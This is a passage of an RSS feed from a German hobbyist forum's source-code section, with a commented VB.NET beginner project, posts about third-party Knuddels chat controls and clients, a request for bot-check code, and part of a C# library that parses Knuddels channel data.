#0000BB">Using&nbsp;reader&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">StreamReader&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">StreamReader</span><span style="color: #007700">(</span><span style="color: #DD0000">"Dateipfad/Name.txt"</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Mit&nbsp;reader.ReadToEnd&nbsp;lesen&nbsp;wir&nbsp;eine&nbsp;Textdatei&nbsp;bis&nbsp;zum&nbsp;Ende&nbsp;aus,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">mit&nbsp;reader</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine&nbsp;nur&nbsp;nur&nbsp;eine&nbsp;Zeile<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Output&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">reader</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadToEnd<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Und&nbsp;Using&nbsp;wieder&nbsp;beenden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Using<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Hier&nbsp;zeige&nbsp;ich&nbsp;euch&nbsp;wie&nbsp;ihr&nbsp;Select&nbsp;</span><span style="color: #007700">Case&nbsp;</span><span style="color: #0000BB">verwendet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">anhand&nbsp;des&nbsp;Beispiels&nbsp;einer&nbsp;ComboBox</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">in&nbsp;der&nbsp;man&nbsp;das&nbsp;Chatsystem&nbsp;auswählen&nbsp;kann<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Select_Chatsystem</span><span style="color: #007700">()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Zuerst&nbsp;haben&nbsp;wir&nbsp;einen&nbsp;Input&nbsp;String,&nbsp;der&nbsp;z.B.&nbsp;der&nbsp;ComboBox.Text&nbsp;ist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;input&nbsp;As&nbsp;String&nbsp;=&nbsp;String.Empty<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Wenn&nbsp;ihr&nbsp;mit&nbsp;der&nbsp;KNLib&nbsp;arbeitet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">verwendet&nbsp;ihr&nbsp;diese&nbsp;Deklaration&nbsp;um&nbsp;das&nbsp;Chatsystem&nbsp;festzulegen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Dim&nbsp;chat_system&nbsp;as&nbsp;Chatsystem<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select&nbsp;Case&nbsp;input<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;"DE"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Sollte&nbsp;input&nbsp;also&nbsp;z</span><span style="color: #007700">.</span><span style="color: #0000BB">B</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">der&nbsp;ComboBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;DE&nbsp;sein</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dann&nbsp;könnt&nbsp;ihr&nbsp;hier&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;aufrufen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">um&nbsp;euer&nbsp;Chatsystem&nbsp;festzulegen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Also&nbsp;z.b.&nbsp;chat_system&nbsp;=&nbsp;ChatSystem.DE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;"AT"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Sollte&nbsp;input&nbsp;also&nbsp;z</span><span style="color: #007700">.</span><span style="color: #0000BB">B</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">der&nbsp;ComboBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;AT&nbsp;sein</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dann&nbsp;könnt&nbsp;ihr&nbsp;hier&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;aufrufen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">um&nbsp;euer&nbsp;Chatsystem&nbsp;festzulegen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Also&nbsp;z.b.&nbsp;chat_system&nbsp;=&nbsp;ChatSystem.AT<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case&nbsp;"CH"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Sollte&nbsp;input&nbsp;also&nbsp;z</span><span style="color: #007700">.</span><span style="color: #0000BB">B</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">der&nbsp;ComboBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;CH&nbsp;sein</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dann&nbsp;könnt&nbsp;ihr&nbsp;hier&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;aufrufen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">um&nbsp;euer&nbsp;Chatsystem&nbsp;festzulegen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Also&nbsp;z.b.&nbsp;chat_system&nbsp;=&nbsp;ChatSystem.CH<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Und&nbsp;Select&nbsp;</span><span style="color: #007700">Case&nbsp;</span><span style="color: #0000BB">wieder&nbsp;beenden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Select<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Wir&nbsp;generieren&nbsp;eine&nbsp;zufällige&nbsp;Zahl<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Function&nbsp;Zufaellige_Zahl()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Random&nbsp;und&nbsp;Zufallszahl&nbsp;deklarieren<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;rnd&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'und&nbsp;vorerst&nbsp;den&nbsp;Wert&nbsp;0&nbsp;zuweisen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Zufallszahl&nbsp;As&nbsp;Integer&nbsp;=&nbsp;0<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Nun&nbsp;eine&nbsp;Zufallszahl&nbsp;erstellen&nbsp;und&nbsp;der&nbsp;Variable&nbsp;deren&nbsp;Wert&nbsp;zuweisen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'die&nbsp;rnd.Next(Zahl1,&nbsp;Zahl2),&nbsp;die&nbsp;Zufallszahl&nbsp;befindet&nbsp;sich&nbsp;dann&nbsp;im&nbsp;Bereich&nbsp;zwischen&nbsp;Zahl1&nbsp;und&nbsp;Zahl&nbsp;2<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">in&nbsp;unserem&nbsp;Beispiel&nbsp;wäre&nbsp;das&nbsp;eine&nbsp;Zahl&nbsp;zwischen&nbsp;1&nbsp;und&nbsp;1337<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Zufallszahl&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">rnd</span><span style="color: #007700">.</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1337</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #0000BB">Zufallszahl<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Aktuelle&nbsp;Uhrzeit&nbsp;und&nbsp;Datum&nbsp;ermitteln<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Sub&nbsp;Datum_Uhrzeit_Beispiel()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #007700">Die&nbsp;</span><span style="color: #0000BB">Variable&nbsp;deklarieren</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">in&nbsp;der&nbsp;wir&nbsp;gleich&nbsp;den&nbsp;Wert&nbsp;speichern<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Datum_und_Uhrzeit&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Einen&nbsp;Wert&nbsp;zuweisen,&nbsp;das&nbsp;geht&nbsp;so<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Datum_und_Uhrzeit&nbsp;=&nbsp;My.Computer.Clock.LocalTime<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">jetzt&nbsp;noch&nbsp;einzelne&nbsp;Variablen&nbsp;deklarieren</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">um&nbsp;es&nbsp;an&nbsp;verschiedenen&nbsp;Beispielen&nbsp;zu&nbsp;verdeutlichen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Stunde&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Minute&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Sekunde&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Und&nbsp;hier&nbsp;wieder&nbsp;Werte&nbsp;zuweisen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stunde&nbsp;=&nbsp;My.Computer.Clock.LocalTime.Hour<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Minute&nbsp;=&nbsp;My.Computer.Clock.LocalTime.Minute<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sekunde&nbsp;=&nbsp;My.Computer.Clock.LocalTime.Second<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Man&nbsp;kann&nbsp;auch&nbsp;</span><span style="color: #007700">.</span><span style="color: #0000BB">TimeOfDay&nbsp;etc&nbsp;verwenden</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'einfach&nbsp;mal&nbsp;ausprobieren<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />End&nbsp;Class&nbsp;<br /></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-lernprojekt-1355</guid>
		</item>
		<item>
			<title><![CDATA[[Source] KFramework - Knuddels Controls]]></title>
			<link>sourcecode-91/source-kframework-knuddels-controls-1351?goto=newpost</link>
			<pubDate>Mon, 28 Nov 2011 16:19:42 GMT</pubDate>
			<description>Hallo, 
 
ich hab vor langer Zeit mal angefangen alle möglichen Controls von Knuddels nachzubauen/nachzuzeichnen *in C#*. Wirklich weit gekommen bin...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
ich hab vor langer Zeit mal angefangen alle möglichen Controls von Knuddels nachzubauen/nachzuzeichnen <b>in C#</b>. Wirklich weit gekommen bin ich nicht.<br />
<br />
Folgende Controls hab ich jedoch fertig gebracht:<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><font size="3"><b># Screenshot</b></font></span><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4468&amp;d=1374090041" border="0" alt="Name:  28-11-201117-11-059ez7a.png
Hits: 916
Größe:  32,3 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4504&amp;d=1373727940" border="0" alt="Name:  uh_btn_download1krk4.png
Hits: 842
Größe:  5,4 KB" class="thumbnail" style="float:CONFIG" /><br />
<b><font color="#008000">Wieder online!</font></b> Danke an Diebspiel!<br />
[HIDE=1]<b>Download</b>: <a href="https://u-labs.de/forum/attachment.php?attachmentid=4505&amp;d=1374352519"  title="Name:  KFramework_by_PaT.zip
Hits: 213
Größe:  179,2 KB">KFramework_by_PaT.zip</a><br />
<b>Passwort</b>: pat[/HIDE]<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><font size="3"><b># Verwendung</b></font></span><br />
<br />
Solltet ihr die Controls in euer Projekt verwenden bitte ich euch drum mich(Patrick) zu erwähnen und/oder einen Verweis auf U-Hacks.net zu hinterlassen ;)<br />
<br />
Viel Spaß.<br />
<br />
MfG<br />
<i>~PaTrick</i></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4468&amp;stc=1&amp;d=1374090041" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4504&amp;stc=1&amp;d=1374352431" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=4505&amp;d=1374352519">KFramework_by_PaT.zip</a> 
(179,2 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>patlux</dc:creator>
			<guid isPermaLink="true">sourcecode-91/source-kframework-knuddels-controls-1351</guid>
		</item>
		<item>
			<title><![CDATA[[PHP] Knuddels Client Alpha X-TREME BUGGY]]></title>
			<link>sourcecode-91/php-knuddels-client-alpha-x-treme-buggy-31727?goto=newpost</link>
			<pubDate>Sun, 27 Nov 2011 22:39:28 GMT</pubDate>
			<description>Nur was für Entwickler. 
 
Die Kompression ist sehr Ineffizient Implementiert. 
Eine Funktion zum Passwort Hashen fehlt auch noch. 
 
mfG</description>
			<content:encoded><![CDATA[<div>Nur was für Entwickler.<br />
<br />
Die Kompression ist sehr Ineffizient Implementiert.<br />
Eine Funktion zum Passwort Hashen fehlt auch noch.<br />
<br />
mfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>3lit</dc:creator>
			<guid isPermaLink="true">sourcecode-91/php-knuddels-client-alpha-x-treme-buggy-31727</guid>
		</item>
		<item>
			<title><![CDATA[[Suche] Botkontrolle Code für VB.NET]]></title>
			<link>sourcecode-91/suche-botkontrolle-code-fuer-vb-net-29975?goto=newpost</link>
			<pubDate>Thu, 24 Nov 2011 21:20:10 GMT</pubDate>
			<description>Abend users ich suche den Botkontrollen code für .net weil der hier zeigt mir Fehler an wegen Token irgendwas und dann habe ich es in Message...</description>
			<content:encoded><![CDATA[<div>Abend users ich suche den Botkontrollen code für .net weil der hier zeigt mir Fehler an wegen Token irgendwas und dann habe ich es in Message geändert aber ich komme nicht weiter an meinem Mafia bot den ich auch hier  Release möchte wenn er Fertig ist :)<br />
<br />
So mein code sieht zurzeit so aus:<br />
 <a href="http://i41.tinypic.com/59qq9.png" target="_blank" rel="nofollow">http://i41.tinypic.com/59qq9.png</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>getsha</dc:creator>
			<guid isPermaLink="true">sourcecode-91/suche-botkontrolle-code-fuer-vb-net-29975</guid>
		</item>
		<item>
			<title>Tokenparsing Hilfe</title>
			<link>sourcecode-91/tokenparsing-hilfe-30308?goto=newpost</link>
			<pubDate>Wed, 23 Nov 2011 21:47:46 GMT</pubDate>
			<description>Hier, könnter haben, is unvollständig, unoptimiert und an manchen stellen bisschen behindert gecoded, aber wer coden kann, weiß was man damit...</description>
			<content:encoded><![CDATA[<div>Hier, könnter haben, is unvollständig, unoptimiert und an manchen stellen bisschen behindert gecoded, aber wer coden kann, weiß was man damit anfängt...<br />
<br />
nicht erschrecken, das sind ca. 2050 Zeilen, so ziemlich der größte teil einer library die ich mal geschrieben, aber nie veröffentlich habe (war mir noch nicht 'fertig' genug).<br />
sämtlicher code kann überall verwendet werden, copyright is nicht nötig, eine erwähnung wäre aber nett...<br />
<br />
die meisten zeilen sind bis ins kleinste detail durchkommentiert, also auch der noobigste anfänger sollte damit klarkommen...<br />
<br />
achso, und wers gebrauchen kann : ein danke wäre nett!<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
Klasse 'DataPaser'<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Drawing;<br />
using System.Net;<br />
using System.IO;<br />
<br />
namespace KLib2<br />
{<br />
    public class DataParser<br />
    {<br />
        private char s;<br />
<br />
        public Client client<br />
        {<br />
            get { return _client; }<br />
        }<br />
        private Client _client;<br />
<br />
        /// &lt;summary&gt;<br />
        /// Methode um Daten vom Server auszuwerten<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;client&quot;&gt;Der Client&lt;/param&gt;<br />
        /// &lt;param name=&quot;splitter&quot;&gt;Das Zeichen welches die Strings trennt&lt;/param&gt;<br />
        public DataParser(Client client, char splitter)<br />
        {<br />
            s = splitter;<br />
            _client = client;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Wertet die Channelliste aus<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;data&quot;&gt;Die Daten vom Server&lt;/param&gt;<br />
        /// &lt;returns&gt;Channelliste&lt;/returns&gt;<br />
        public List&lt;ChannelInChannelList&gt; parseChannelList(string data)<br />
        {<br />
            List&lt;ChannelInChannelList&gt; chList = new List&lt;ChannelInChannelList&gt;();<br />
            //Wir splitten den Channelstring in einzelne Channels auf<br />
            //Die Channels werden durch ein &quot;-&quot; separiert<br />
            string&#91;&#93; rawChannels = (data.Replace(&quot;b&quot; + s, String.Empty)).Split(new string&#91;&#93; { s + &quot;-&quot; + s }, StringSplitOptions.RemoveEmptyEntries);<br />
            //z.B. Aachen\n40\0p\0B\0pics/icon_fullChannel.gif<br />
<br />
            //Da ja immer eine Nummer an die Unterchannels gehangen wird,<br />
            //müssen wir einen int dafür bereitstellen<br />
            int lastChannelNumber = 1;<br />
            string lastChannel = String.Empty;<br />
            foreach (string rawChannel in rawChannels)<br />
            {<br />
                //Ob der Channel mehrere Unterchannels hat<br />
                bool isParent = true;<br />
                //Der Hauptchannel über einem Subchannel<br />
                string parentChannel = &quot;-&quot;;<br />
                //(komischerweise wird hier mit einem Unix-Zeilenumbruch getrennt, naja was solls)<br />
                string channelName = rawChannel.Split('\n')&#91;0&#93;;<br />
                //Wenn der Channelname ein &quot; ist, dann ist es ein Unterchannel eines vorrangegangen Channels.<br />
                if (channelName == &quot;&quot;&quot; &amp;&amp; channelName.Length == 1)<br />
                {<br />
                    isParent = false;<br />
                    lastChannelNumber++;<br />
                    parentChannel = lastChannel;<br />
                    channelName = lastChannel + &quot; &quot; + lastChannelNumber.ToString();<br />
                }<br />
                //Manchmal gibt es z.B. den Channel Flirt 20 und dann erst Flirt 22.<br />
                //In diesem Fall steht die nummer hinter dem &quot;, die wir natürlich dann auch setzen<br />
                else if (channelName.Contains(&quot;&quot;&quot;))<br />
                {<br />
                    lastChannelNumber = int.Parse(channelName.Replace(&quot;&quot;&quot;, String.Empty));<br />
                    channelName = lastChannel + &quot; &quot; + lastChannelNumber.ToString();<br />
                }<br />
                else<br />
                {<br />
                    //Wenn nicht, ist es ein neuer Channel, und wir müssen die Nummer wieder auf 0 setzen.<br />
                    lastChannel = channelName;<br />
                    lastChannelNumber = 1;<br />
                }<br />
                //40<br />
                int usersOnlineInChannel = int.Parse(rawChannel.Split('\n')&#91;1&#93;.Split('\0')&#91;0&#93;);<br />
                //p = normaler Channel ohne Zugangsvorrausetzungen<br />
                //i = Channel mit Zugangsvorrausetzungen<br />
                bool isRestrictedChannel = false;<br />
                if (rawChannel.Split('\n')&#91;1&#93;.Split(s)&#91;1&#93; == &quot;i&quot;)<br />
                    isRestrictedChannel = true;<br />
                //B<br />
                //Keine Ahnung, steht aber bei allen Channels dabei.<br />
<br />
                //pics/icon_fullChannel.gif = Ein Icon was hinter dem Channel dargestellt wird,<br />
                //können mehrere sein, daher eine Liste<br />
                List&lt;Image&gt; channelImages = new List&lt;Image&gt;();<br />
                //An der existenz des Bildes &quot;icon_fullchannel.gif sehen wir on der Channel voll ist oder nicht.<br />
                bool isFull = false;<br />
                foreach (string str in rawChannel.Split('\n')&#91;1&#93;.Split(s))<br />
                {<br />
                    if (str.Contains(&quot;.gif&quot;))<br />
                    {<br />
<br />
                        string folderName = ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.standartPicsDirectory;<br />
                        //Wenn wir das Bild noch nicht gespeichert haben, laden wir es herunter<br />
                        channelImages.Add(ClientHelper.imageLoader(str, folderName, _client.chatSystem));<br />
                        if (str.Contains(&quot;icon_fullChannel.gif&quot;))<br />
                            isFull = true;<br />
                    }<br />
                }<br />
                // Wir fügen unseren Channel der Liste hinzu<br />
                chList.Add(new ChannelInChannelList(channelName, usersOnlineInChannel, isRestrictedChannel, isFull, isParent, channelImages, parentChannel));<br />
            }<br />
            return chList;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Wertet die Parameter eines Channels aus<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;data&quot;&gt;Die Daten vom Server&lt;/param&gt;<br />
        /// &lt;returns&gt;Channel&lt;/returns&gt;<br />
        public Channel parseChannel(string data, bool change)<br />
        {<br />
            string&#91;&#93; parameter = data.Split(s);<br />
            string channelName = parameter&#91;1&#93;;<br />
            //Bei einem wechsel wird kein nick übergeben<br />
            string nickJoined = string.Empty;<br />
            if (!change)<br />
                nickJoined = parameter&#91;2&#93;;<br />
            //Bei dem Channel 8-ball bekommen wir ein array was 1 wert<br />
            //mehr enthällt, bei 10 wird noch ein &quot;-&quot; eingeschoben<br />
            //daher müssen wir alles was danach kommt um eins hochzählen<br />
            //Ausserdem  wird bei einem wechsel weniger übergeben<br />
            int x = 0;<br />
            if (change)<br />
                x = -9;<br />
            //wenn andere Channels auch solche probleme machen, haben wir damit eine<br />
            //sehr dynamische Lösung für diese, einfach noch eine if-abfrage einfügen<br />
            //kein Ärger bei Änderungen und Updates =)<br />
            if (channelName.StartsWith(&quot;8&quot;)) { x += 1; }<br />
<br />
            //Vordergrundfarbe des Channels<br />
            Color foreColor = Color.FromArgb(int.Parse(parameter&#91;x + 11&#93;.Split(',')&#91;0&#93;), int.Parse(parameter&#91;x + 11&#93;.Split(',')&#91;1&#93;), int.Parse(parameter&#91;x + 11&#93;.Split(',')&#91;2&#93;));<br />
            //Hintergrundfarbe des Channels<br />
            Color backColor = Color.FromArgb(int.Parse(parameter&#91;x + 12&#93;.Split(',')&#91;0&#93;), int.Parse(parameter&#91;x + 12&#93;.Split(',')&#91;1&#93;), int.Parse(parameter&#91;x + 12&#93;.Split(',')&#91;2&#93;));<br />
            parameter&#91;x + 13&#93; = parameter&#91;x + 13&#93;.Replace(&quot;&#91;&quot;, String.Empty);<br />
            parameter&#91;x + 13&#93; = parameter&#91;x + 13&#93;.Replace(&quot;&#93;&quot;, String.Empty);<br />
            parameter&#91;x + 14&#93; = parameter&#91;x + 14&#93;.Replace(&quot;&#91;&quot;, String.Empty);<br />
            parameter&#91;x + 14&#93; = parameter&#91;x + 14&#93;.Replace(&quot;&#93;&quot;, String.Empty);<br />
            //Wert durch den Rot ersetzt wird (°RR°)<br />
            Color red = Color.Red;<br />
            if (!(parameter&#91;x + 13&#93; == &quot;R&quot;))<br />
